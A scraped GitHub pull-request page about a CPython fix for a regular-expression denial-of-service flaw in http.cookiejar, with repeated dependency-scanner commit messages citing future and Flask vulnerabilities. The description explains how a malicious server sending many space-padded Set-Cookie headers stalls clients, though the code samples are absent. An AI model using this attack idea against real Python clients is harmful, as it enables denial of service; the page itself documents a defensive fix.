52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 11, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 12, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 12, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 12, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 12, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
https://bugs.python.org/issue38804